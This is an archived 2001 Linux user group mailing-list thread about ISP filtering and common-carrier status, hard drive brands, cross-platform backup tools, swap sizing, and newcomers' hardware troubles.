putting a WD in my machine. Is this pretty standard among drive models (model #241-34520 or whatever will always be an IBM) or is it kind of random? ("hey Bob, what are we putting in here THIS week?") The thing is, an additional $30/$40 for a drive is well worth it to me to know what's inside my drive. Especially if it means the difference between overnighting a new one and restoring the data, $40 seems a small price to pay for 1 day of down time and shipping a new one. -Brian From veldy at veldy.net Wed Aug 15 14:35:11 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] AT&T filtering sites?.sdm References: Message-ID: <01ad01c125c1$6f54f880$3028680a@tgt.com> Perhaps they use inline http proxy (Squid and SquidGuard). This is a "BadThing" from the customer point of view, well the techie type anyway. You can have all sorts of cache problems when visiting sites that frequently change or are dynamic based upon state data. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Jay Kline" To: Sent: Wednesday, August 15, 2001 2:13 PM Subject: RE: [TCLUG] AT&T filtering sites?.sdm > There are some ISPs out there that have a service to block porn before it gets to > your computer. Since they do it at a sever level (or router, Im not sure how they > do it) there is no way to disable it from your computer, and is not software > specific. Since you must request (and pay for) this service. Would they still > maintain a "common carrier" status? > > > Jay > > > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Michael Fraase > Sent: Wednesday, August 15, 2001 2:00 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] AT&T filtering sites?.sdm > > > Nope, I'm talking about *any* ISP blocking access to certain IP > addresses or IP blocks. They all have consistently and collectively used > the argument that they are "common carriers" not "publishers." A > position I agree with, in general. And, the argument goes, since they're > required to carry the traffic of all comers they're not responsible for > any of it. When they start limiting access to specific addresses or > blocks of addresses, a cogent argument could be made that they've given > up their "common carrier" status. > > -- > Michael Fraase > ARTS & FARCES LLC > mfraase@farces.com > www.farces.com > PGP Fingerprint: > 3D85 F3F4 9E65 4949 176A 260C CB47 190D C864 9A96 > > > -----Original Message----- > > Message: 17 > > Date: Wed, 15 Aug 2001 13:13:15 -0500 > > To: tclug-list@mn-linux.org > > From: Mike Paulsen > > Subject: Re: [TCLUG] AT&T filtering sites?.sdm > > Reply-To: tclug-list@mn-linux.org > > > > ATT the telco is not the same as ATT the ISP. ISPs are > > "enhanced service > > providers" and do not enjoy the benefits nor suffer the > > regulatory burdens > > which come with common carrier status.* > > > > ATT (the telco) is required to give ISPs access to the > > telephone lines. ATT > > (the ISP) is considered an end user just like any other ISP. > > > > *That's not entirely true, as they do enjoy some of the same > > benefits (and > > possibly burdens) as common carriers under things like the DMCA. > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Wed Aug 15 14:39:11 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] HDD IO optimizing References: Message-ID: <01b201c125c1$f6291d50$3028680a@tgt.com> > > That's odd, I've never heard of this before. I've had more than my share > of bad WD drives so I instantly cringe at the thought of putting a WD in > my machine. Is this pretty standard among drive models (model #241-34520 > or whatever will always be an IBM) or is it kind of random? ("hey Bob, > what are we putting in here THIS week?") No, only some of the models. I am not sure which. I do know the top end IBM models are NOT Western Digital (or the other way around). I have had a 6.4 Gig UDMA33 5400 RPM drive running nearly non-stop (and in three different computers) for the better part of 4 years. Thing is serving up MP3 files on my home LAN via a Samba file share on my FreeBSD box. My wife loves it. Sad, I use 4 Gigs for MP3 and it is not enough. Thank God Napster is gone. Tom Veldhouse veldy@veldy.net From list at slushpupie.com Wed Aug 15 14:46:32 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: <01ad01c125c1$6f54f880$3028680a@tgt.com> Message-ID: Yes, I know there are many things that could be bad about this sort of setup. But for large corporations, schools, libraries, and the like- this is a good thing. As far as the technical problems to go with it, well... the customers don't care as long as the ISP can provide. The question is, does this sort of "voluntary filtering" still allow an ISP to be classified as a "common carrier"? Jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Thomas T. Veldhouse Sent: Wednesday, August 15, 2001 2:35 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] AT&T filtering sites?.sdm Perhaps they use inline http proxy (Squid and SquidGuard). This is a "BadThing" from the customer point of view, well the techie type anyway. You can have all sorts of cache problems when visiting sites that frequently change or are dynamic based upon state data. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Jay Kline" To: Sent: Wednesday, August 15, 2001 2:13 PM Subject: RE: [TCLUG] AT&T filtering sites?.sdm > There are some ISPs out there that have a service to block porn before it gets to > your computer. Since they do it at a sever level (or router, Im not sure how they > do it) there is no way to disable it from your computer, and is not software > specific. Since you must request (and pay for) this service. Would they still > maintain a "common carrier" status? > > > Jay > > > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Michael Fraase > Sent: Wednesday, August 15, 2001 2:00 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] AT&T filtering sites?.sdm > > > Nope, I'm talking about *any* ISP blocking access to certain IP > addresses or IP blocks. They all have consistently and collectively used > the argument that they are "common carriers" not "publishers." A > position I agree with, in general. And, the argument goes, since they're > required to carry the traffic of all comers they're not responsible for > any of it. When they start limiting access to specific addresses or > blocks of addresses, a cogent argument could be made that they've given > up their "common carrier" status. > > -- > Michael Fraase > ARTS & FARCES LLC > mfraase@farces.com > www.farces.com > PGP Fingerprint: > 3D85 F3F4 9E65 4949 176A 260C CB47 190D C864 9A96 > > > -----Original Message----- > > Message: 17 > > Date: Wed, 15 Aug 2001 13:13:15 -0500 > > To: tclug-list@mn-linux.org > > From: Mike Paulsen > > Subject: Re: [TCLUG] AT&T filtering sites?.sdm > > Reply-To: tclug-list@mn-linux.org > > > > ATT the telco is not the same as ATT the ISP. ISPs are > > "enhanced service > > providers" and do not enjoy the benefits nor suffer the > > regulatory burdens > > which come with common carrier status.* > > > > ATT (the telco) is required to give ISPs access to the > > telephone lines. ATT > > (the ISP) is considered an end user just like any other ISP. > > > > *That's not entirely true, as they do enjoy some of the same > > benefits (and > > possibly burdens) as common carriers under things like the DMCA. > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From simeonuj at eetc.com Wed Aug 15 15:24:22 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] Newbie question: Cross-platform backup software References: <005f01c125a8$54b16590$79732ad0@further> <20010815132142.B21135@localhost> Message-ID: <3B7ADA41.5ED7CB8@eetc.com> Though I'm not the original poster I'm really interested in this. I would love to be able to backup everyone's machine - MacOS, WinCrap, Linux - from a linux server. Tom Hudak wrote: > > On Wed, Aug 15, 2001 at 11:35:44AM -0500, Michael Fraase wrote: > >Just about the only thing that's keeping us from migrating our servers > >to some variant of Linux is cross-platform backup software. > How cross platform. Get a linux box setup, dump that "commercial" crap backup > software being used and go with amanda. If you have mac's, have the mac users > put stuff on an appleshare on a *nix server and backup that servers disk at > night. That's not really the kind of background the retrospect client offers. Scheduled unattended backups of client machines. Not just the server. Applescript also offers some very nice automation if you want to spend the time. > >Is there software for Linux that will allow me to do the same. I want it > >transparent, reliable, and in the background. > Amanda! www.amanda.org. It's never let me down. It's fully automated, and if > you have a changer, you'll never have to even look at it to backup/restore > ever again. Not only that, it automagically compares modification dates and > schedules different levels of incrementals and full backups over your tape > schedule so you aren't filling up every tape with full-dumps of data that's > already backed up. Retrospect does this... Also allows keyword matching etc. > It's also well documented and mailing lists are very informative. You got a > question, post it, and you'll have a *plethora* (yeah yeah) of answers within > a day. Go get that from the engineers of BRU or Dantz or whoever else makes > crappy commercial backup software. I've been very impressed w/ Dantz's support. Never had any problems with them. I've been very very happy with Retrospect so far (at least the Mac version). *** Now for something completely different *** I've been thinking of a solution for my problems. Here it is. 1. Linux samba client for Windows backup. 2. Linux afpfs client (appletalk client) for Mac's 3. Linux backup server program (maybe amanda). Unfortunately afpfs doesn't seem to be developing anymore. Works w/ 2.2.x though. Also requires Netatalk to work. I also don't know if Linux will handle the autoloader we've got. Interesting problem. sim From mfraase at farces.com Wed Aug 15 15:48:02 2001 From: mfraase at farces.com (Michael Fraase) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] Newbie question: Cross-platform backup software In-Reply-To: <200108152028.f7FKSOe17645@sprite.real-time.com> Message-ID: <006301c125cb$934e8530$79732ad0@further> Sorry, I thought everyone would be able to infer what I meant by cross-platform from the body of the original message. Cross-platform for me, in this case, means Macs (OS 9.x and OSX) and Windows (Windows 2000 Pro and Windows XP) backed up *transparently* by software running on Linux. Transparency is important. I don't want users to have to worry about moving files to a server volume or specifying files to be backed up or anything else; I just want the entire contents of a computer backed up to the tape. In the background. Automatically. Neither Amanda nor Arcserve seem to have any sort of Mac client software, which would rule them out for my application. -- Michael Fraase ARTS & FARCES LLC mfraase@farces.com www.farces.com PGP Fingerprint: 3D85 F3F4 9E65 4949 176A 260C CB47 190D C864 9A96 > -----Original Message----- > Message: 3 > Date: Wed, 15 Aug 2001 13:39:46 -0500 (CDT) > From: Brian > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Newbie question: Cross-platform backup software > Reply-To: tclug-list@mn-linux.org > > On Wed, 15 Aug 2001, Michael Fraase wrote: > > Is there software for Linux that will allow me to do the > same. I want > > it transparent, reliable, and in the background. > > Since you didn't mention the word "free" in there I'll make a > plug for Arcserve, now running on NT, Novell, and linux. > Yup, it's spendy. You get what you pay for though. > > You didn't mention what "multi-platform" means. > Mac? Windows? Solaris? BeOS? From florin at iucha.net Wed Aug 15 15:50:26 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: ; from lxy@cloudnet.com on Wed, Aug 15, 2001 at 02:32:47PM -0500 References: <017a01c125be$23fea730$3028680a@tgt.com> Message-ID: <20010815155026.E16005@beaver.iucha.org> On Wed, Aug 15, 2001 at 02:32:47PM -0500, Brian wrote: > On Wed, 15 Aug 2001, Thomas T. Veldhouse wrote: > > > You should consider Western Digital as well. Often, a particular model of > > Western Digital is the SAME drive that you get when you buy an IBM drive. I > > am not sure what sort of deal they have, but it seems there is a bit of > > overlap with respect to hardware between IBM and Western Digital. I think > > the overlap is the WD Caviar drives. I have been using these and they seem > > to run forever (knock on wood). > > That's odd, I've never heard of this before. I've had more than my share > of bad WD drives so I instantly cringe at the thought of putting a WD in > my machine. Is this pretty standard among drive models (model #241-34520 > or whatever will always be an IBM) or is it kind of random? ("hey Bob, > what are we putting in here THIS week?") I have seen this in Arizona, at "Fry's Electronics": they have long tables with mobos, harddrives, videoboards... etc. As the harddrives were sorted by capacity you can see oddities like that: two identical hdds, one with IBM label and the other with WD label. Not the same price though, the IBM was almost a few $ more. An interesting thing to note is that in benchmarks two "identical" drives from WD and IBM will yield different performance (and not allways IBM on top) - meaning that there are at least some firmware differences. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From gabe at msi.umn.edu Wed Aug 15 16:14:02 2001 From: gabe at msi.umn.edu (Gabe Turner) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] Newbie question: Cross-platform backup software In-Reply-To: <006301c125cb$934e8530$79732ad0@further>; from mfraase@farces.com on Wed, Aug 15, 2001 at 03:48:02PM -0500 References: <200108152028.f7FKSOe17645@sprite.real-time.com> <006301c125cb$934e8530$79732ad0@further> Message-ID: <20010815161402.A16217@monsoon.msi.umn.edu> On Wed, Aug 15, 2001 at 03:48:02PM -0500, Michael Fraase wrote: > Sorry, I thought everyone would be able to infer what I meant by > cross-platform from the body of the original message. > > Cross-platform for me, in this case, means Macs (OS 9.x and OSX) and > Windows (Windows 2000 Pro and Windows XP) backed up *transparently* by > software running on Linux. > > Transparency is important. I don't want users to have to worry about > moving files to a server volume or specifying files to be backed up or > anything else; I just want the entire contents of a computer backed up > to the tape. In the background. Automatically. > > Neither Amanda nor Arcserve seem to have any sort of Mac client > software, which would rule them out for my application. Well, if you've got the money, Tivoli TSM is good. They support a zillion platforms. We use them to backup MacOS, Irix, AIX, Tru64 and Linux. As far as the backing stuff up in the background, this is what we do with our Macs. Our Mac users aren't terribly sophisticated and are too lazy to put all their files on a server share. We just throw the TSM client on their machines and set them to back up everything every night. Main TSM page is at: http://www.tivoli.com/tsm. List of supported platforms at http://www.tivoli.com/support/storage_mgr/compatibility.html (there's a little drop-down menu with the different platforms they support). Gabe -- ------------------------------------------------------------------------ Gabe Turner gabe@msi.umn.edu SGI Origin Systems Administrator, University of Minnesota Supercomputing Institute for Digital Simulation and Advanced Computation www.msi.umn.edu ------------------------------------------------------------------------ From Rodney.Ray at childrenshc.org Wed Aug 15 16:35:42 2001 From: Rodney.Ray at childrenshc.org (Rodney Ray) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] SB128 Message-ID: Anyone know how to get a SB PCI128 to work under RH7.1? It is loading a ess drive (I think) and very time I try to use the card it locks up my machine. From thudak at sistina.com Wed Aug 15 16:39:23 2001 From: thudak at sistina.com (Tom Hudak) Date: Mon Jan 17 13:26:21 2005 Subject: [TCLUG] Newbie question: Cross-platform backup software In-Reply-To: <3B7ADA41.5ED7CB8@eetc.com>; from simeonuj@eetc.com on Wed, Aug 15, 2001 at 03:24:22PM -0500 References: <005f01c125a8$54b16590$79732ad0@further> <20010815132142.B21135@localhost> <3B7ADA41.5ED7CB8@eetc.com> Message-ID: <20010815163923.A27860@localhost> On Wed, Aug 15, 2001 at 03:24:22PM -0500, Simeon Johnston wrote: >That's not really the kind of background the retrospect client offers. >Scheduled unattended backups of client machines. Not just the server. >Applescript also offers some very nice automation if you want to spend >the time. What's not really the kind of "background" the "retrospect" client offers? That sentence dosn't make sense to me. >Also allows keyword matching etc. Of what, files? I don't understand why on earth you would only want to backup file x over file y if you have a tape with 30 gig free. Just back it all up when needed. >I've been very impressed w/ Dantz's support. Never had any problems >with them. >I've been very very happy with Retrospect so far (at least the Mac version). except one thing... it costs $$. Why pay money for a level 1 tech, when you get answers for free from experts all over the world as well as the lead engineer designing and programming the software? >*** Now for something completely different *** > >I've been thinking of a solution for my problems. Here it is. > >1. Linux samba client for Windows backup. Set up a PDC or something, or share you winblows clients drives. (Latter is not smart.) >2. Linux afpfs client (appletalk client) for Mac's Do it the same way you would for samba. >3. Linux backup server program (maybe amanda). Amanda will do your "backgrounded" backups every single night, and determine *what* needs to be backed up based on modification dates over the course of your "dumpcycle" for every *client* you configure. Please get the idea out of your head that a "transparent" backup is anything at all! (I don't know who originally requested the transparent functionality) because it's an oxymoron. Here's a couple backup rules quick: 1. Don't do backups while people are working. Period. Do them at night. 2. Don't keep re-using the same exact set of tapes throughout your dump cycle. At minimum you want a second set so if somehow your current set dies, the most you loose is 1 dumpcycle worth of data. >Interesting problem. It's an old problem that is slowly being solved by interoperable software such as samba and afpfs. The amanda team is working on a winblows port of their client software as well, so you'll be able to natively run winblows as a client of amanda and not share anything anymore. If you want information on how any of this works or solutions to current problems, don't hesitate to ask. Thanks, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... -------------- next part -------------- A non-text attachment was scrubbed... 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I don't want users to have to worry about >moving files to a server volume or specifying files to be backed up or >anything else; I just want the entire contents of a computer backed up >to the tape. In the background. Automatically. It's not transparency, that's what a backup client does, it's not a *feature* of the software, that's it's intended function. If you let the fact you have mac clients out there stop you from creating a good backup scheme, you are asking to loose data. There's a thousand ways to get stuff from a Mac to something else, and that something else can (*should*) be a linux/bsd box acting as a client for amanda or another solid solution. Are these mobile macs or desktop machines? If they are mobile, you have just decreased the ease of backups another deviation due to the fact they may not always be able to access a remote server. (If you are letting them store files locally, stop it now or you'll never have the "transparency" you want, nor will you have any reliability in your backups, aside from creating headaches for yourself.) >Neither Amanda nor Arcserve seem to have any sort of Mac client >software, which would rule them out for my application. Bah... use your current client to backup to an amanda client and backup that client. Simple. Also, that's what you get for using a Mac. Nobody supports them. If you want to get technical and develop a good solution, provide more info along the lines of the following. 1. File Server.. How do your users store data on the network? 2. What's your current backup solution. Changer/drive, capacity etc. 3. Mobile machines or stationary Any more questions or concerns, ask away. I hate to see people let their users control how well they do their job or maintain availability of data. Thanks, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... -------------- next part -------------- A non-text attachment was scrubbed... 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If your doing that much code development, go get some devel machines. I'm sure Bob has no prob coughing up some cash for a couple boxes to do nothing but sit there and compile/run/test code. :-) Nice try though. Thanks, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010815/5349ae2d/attachment.pgp From spencer at sihope.com Wed Aug 15 16:50:42 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <017a01c125be$23fea730$3028680a@tgt.com>; from veldy@veldy.net on Wed, Aug 15, 2001 at 02:11:36PM -0500 References: <017a01c125be$23fea730$3028680a@tgt.com> Message-ID: <20010815165042.A20631@mudpiefoods.com> > > You should consider Western Digital as well. Often, a particular model of > Western Digital is the SAME drive that you get when you buy an IBM drive. I > am not sure what sort of deal they have, but it seems there is a bit of > overlap with respect to hardware between IBM and Western Digital. I think > the overlap is the WD Caviar drives. I have been using these and they seem > to run forever (knock on wood). What I do know is that most of the 'smart' mechanisms in hard drives are not made by any of the hard drive manufacturers. There are a few companies one of which is town, that make the heads and other tiny little things inside your favorite drives. So the difference in a drive that seems identical for two different manufactures may have the brains made at differents fabs. I have to agree that scsi is good, but it is on its way out. IDE is where is R&D $ is. IDE raid is already a reality. The only thing that scsi has going for it at this point is multi-threading. And I believe the i/o controllers on the boards with IDE raid operate very simularly to scsi. who really wants a small computer system interface anyway? > that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From spencer at sihope.com Wed Aug 15 16:54:08 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] SB128 In-Reply-To: ; from Rodney.Ray@childrenshc.org on Wed, Aug 15, 2001 at 04:35:42PM -0500 References: Message-ID: <20010815165408.B20631@mudpiefoods.com> > Anyone know how to get a SB PCI128 to work under RH7.1? It is loading a ess drive (I think) and very time I try to use the card it locks up my machine. Have you tried to run sndconfig? > that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From spencer at sihope.com Wed Aug 15 16:59:30 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] sender In-Reply-To: <20010815165042.A20631@mudpiefoods.com>; from spencer@sihope.com on Wed, Aug 15, 2001 at 04:50:42PM -0500 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> Message-ID: <20010815165930.C20631@mudpiefoods.com> I have a problem in my .muttrc. I am sure you have all noticed it. For some reason the sender line gets confused with the to line. I know this is a simple problem. I don't want to break (again) mutt. Any clues on the matter will be appreciated. -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From awolkoff at visi.com Wed Aug 15 17:30:49 2001 From: awolkoff at visi.com (Adam Wolkoff) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] Newbie intro and question Message-ID: <20010815223049.BA86B7A926@visi.com> Greetings! I am new to the list, having come here in an effort to learn more about linux. I've been into computers as a hobbyist (small "h") for about seven years. I've found myself becominging more interested in linux, especially with all this "enforced registration" foolishness now pervading windows land. All my win friends think linux is "too hard," and they may be right, but I'm willing to make a stab at it! My knowledge of the command line is essentially nil (I'm just waking up out of my windows fog) but, like I say, you've got to start somewhere... Anyway, my bro in law gave me the latest mandrake distro, which I have installed on its own drive in my machine. The machine is an 866-P3/256MB. The install went very well and there is now only one problem, which brings me to my question. I simply cannot get access to my CD burner. It is an ATAPI Plextor 8/4/32 that is on the list of "good" hardware. It was detected during instalation. However when I go to access something on the drive I am told I do not have access rights to this location (even when logged in as root). I'll copy my fstab file below for reference. ANY help would be greatly appreciated. Just keep it simple Regards, TeamStrange By: Adam Wolkoff Vice President, Special Projects adam@teamstrange.com http://www.teamstrange.com FSTAB FILE BELOW: /dev/hdb1 / ext2 defaults 1 1 none /dev/pts devpts mode=0620 0 0 /dev/hdb6 /home ext2 defaults 1 2 /mnt/cdrom /mnt/cdrom supermount fs=iso9660,dev=/dev/cdrom 0 0 /mnt/cdrom2 /mnt/cdrom2 supermount fs=iso9660,dev=/dev/cdrom2 0 0 /mnt/floppy /mnt/floppy supermount fs=vfat,dev=/dev/fd0 0 0 /dev/hda1 /mnt/windows vfat user,exec,umask=0,codepage=850,iocharset=iso8859-1 0 0 none /proc proc defaults 0 0 /dev/hdb5 swap swap defaults 0 0 From tanner at real-time.com Wed Aug 15 17:32:15 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] Poor performance of AMD 1 Ghz? In-Reply-To: <20010815101447.A19402@localhost>; from thudak@sistina.com on Wed, Aug 15, 2001 at 10:14:47AM -0500 References: <20010815024112.B26337@real-time.com> <20010815101447.A19402@localhost> Message-ID: <20010815173215.F6932@real-time.com> Quoting Tom Hudak (thudak@sistina.com): > >In particular I'm see racid performance on serving up web content. > Hmmmm, and you say it's not disk? (Don't mean to be skeptical) but how do you > know, what's the disk config like. raid? block size? separate disk on separate > bus for serving up content? I'm accessing 1 servlet. I have stick'd the JVM into ram so it won't swap. The servlet is 2K, so nothing ever comes off of disk. > >We are using kernel 2.2.19. It's not a disk issue, everything is in core and > >no swapping is taking place. > What version Athlon is it? 200 or 266 FSB, how much cache? (I know stock > athlons get 128K L1, but I've seen then with 384.) What kind of motherboard? processor : 0 vendor_id : AuthenticAMD cpu family : 6 model : 4 model name : AMD Athlon(tm) Processor stepping : 2 cpu MHz : 1007.382 cache size : 256 KB fdiv_bug : no hlt_bug : no sep_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 sep mtrr pge mca cmov pat pse36 psn mmxext mmx fxsr 3dnowext 3dnow bogomips : 2011.95 Without popping the case, can I get the motherboard type? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Wed Aug 15 17:33:51 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <20010815101918.B19402@localhost>; from thudak@sistina.com on Wed, Aug 15, 2001 at 10:19:18AM -0500 References: <20010814053051.A18164@real-time.com> <20010814210941.592b5ff8.hick0088@tc.umn.edu> <20010814211432.A15896@real-time.com> <20010815101918.B19402@localhost> Message-ID: <20010815173351.G6932@real-time.com> Quoting Tom Hudak (thudak@sistina.com): > On Tue, Aug 14, 2001 at 09:14:32PM -0500, Bob Tanner wrote: > >I got 512Mb RAM and 1.0Gb of swap. So I doubt it. > GAH!!!! Get rid of that much swap!!! with 512 Meg of ram you shouldn't even > touch the swap! (Remember, the whole idea behind it is that RAM was expensive, > much more so that disk space for equivalent sizes so dump some stuff that was > intended for RAM to disk when it's not a high priority etc.) I'm a pig user that leaves tons of stuff open all over the place. I need the swap. When I compile things, I want all the cruft to get swapped out and I easily would blow out 1.5 X RAM for swap. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Wed Aug 15 17:35:21 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: ; from list@slushpupie.com on Wed, Aug 15, 2001 at 10:31:39AM -0500 References: <20010815101918.B19402@localhost> Message-ID: <20010815173521.H6932@real-time.com> Quoting Jay Kline (list@slushpupie.com): > I agree.. I have found that even with 384M memory I almost never touch swap, > and that is with several X servers running (those little memory hogs).. 128M > swap is what I have, I found anything more than that is wasted space. % free total used free shared buffers cached Mem: 516952 438608 78344 176652 75208 161940 -/+ buffers/cache: 201460 315492 Swap: 546048 466048 538300 -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From mpaulsen at charter.net Wed Aug 15 17:39:18 2001 From: mpaulsen at charter.net (Mike Paulsen) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] AT&T filtering sites?.sdm In-Reply-To: <006201c125bc$69e2dfc0$79732ad0@further> References: <200108151819.f7FIJRe13316@sprite.real-time.com> Message-ID: <5.0.0.25.2.20010815140328.02bf2da0@pop.charter.net> You can't make a cogent argument about ISPs giving up their "common carrier" status when they are not classified as common carriers. Providers say they are _like_ common carriers when it suits them and they say they are not _like_ common carriers when it doesn't. This is not a bad thing -- it just reflects the complexity of the situation. The cable outfits want to be treated like common carriers when it comes to things like the DMCA yet they fought like hell against other ISPs on the question of open access to their infrastructure. Not exactly consistent and collective. -- Mike At 01:59 PM 8/15/01, you wrote: >Nope, I'm talking about *any* ISP blocking access to certain IP >addresses or IP blocks. They all have consistently and collectively used >the argument that they are "common carriers" not "publishers." A >position I agree with, in general. And, the argument goes, since they're >required to carry the traffic of all comers they're not responsible for >any of it. When they start limiting access to specific addresses or >blocks of addresses, a cogent argument could be made that they've given >up their "common carrier" status. > >-- >Michael Fraase >ARTS & FARCES LLC >mfraase@farces.com >www.farces.com >PGP Fingerprint: >3D85 F3F4 9E65 4949 176A 260C CB47 190D C864 9A96 > > > -----Original Message----- > > Message: 17 > > Date: Wed, 15 Aug 2001 13:13:15 -0500 > > To: tclug-list@mn-linux.org > > From: Mike Paulsen > > Subject: Re: [TCLUG] AT&T filtering sites?.sdm > > Reply-To: tclug-list@mn-linux.org > > > > ATT the telco is not the same as ATT the ISP. ISPs are > > "enhanced service > > providers" and do not enjoy the benefits nor suffer the > > regulatory burdens > > which come with common carrier status.* > > > > ATT (the telco) is required to give ISPs access to the > > telephone lines. ATT > > (the ISP) is considered an end user just like any other ISP. > > > > *That's not entirely true, as they do enjoy some of the same > > benefits (and > > possibly burdens) as common carriers under things like the DMCA. > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list From drake at lemongecko.myip.org Wed Aug 15 16:43:17 2001 From: drake at lemongecko.myip.org (Dan) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] Newbie intro and question In-Reply-To: <20010815223049.BA86B7A926@visi.com> References: <20010815223049.BA86B7A926@visi.com> Message-ID: <20010815174317.B8219@lemongecko.org> On Wed, Aug 15, 2001 at 10:30:49PM +0000, Adam Wolkoff wrote: > All my win friends think linux is "too hard," and they may be right, They're not. Trust me on this one. :) > I simply cannot get access to my CD burner. [...] > However when I go to access something on the drive I am told I do not have > access rights to this location (even when logged in as root). This sounds like a SCSI emulation problem. If you're root, "access rights" are not a problem...you're probably being told that the program can't access the SCSI bus or SCSI device. SCSI emulation, if you don't already know, is a way to get an IDE drive to look like a SCSI drive, so your burner program (xcdroast or whatever) can pretend it's talking to a SCSI drive and everything works. What's the error message you get? I'm not sure what "access rights to a location" exactly means. Dan -- lemon | Dan Drake + gecko | drake@lemongecko.org ----- | http://lemongecko.org/drake ?! | From andy at theasis.com Wed Aug 15 13:00:03 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:22 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <20010815173521.H6932@real-time.com> Message-ID: Are you on the kernel mailing list? Is this likely related to the known problems with VM that have been discussed there? 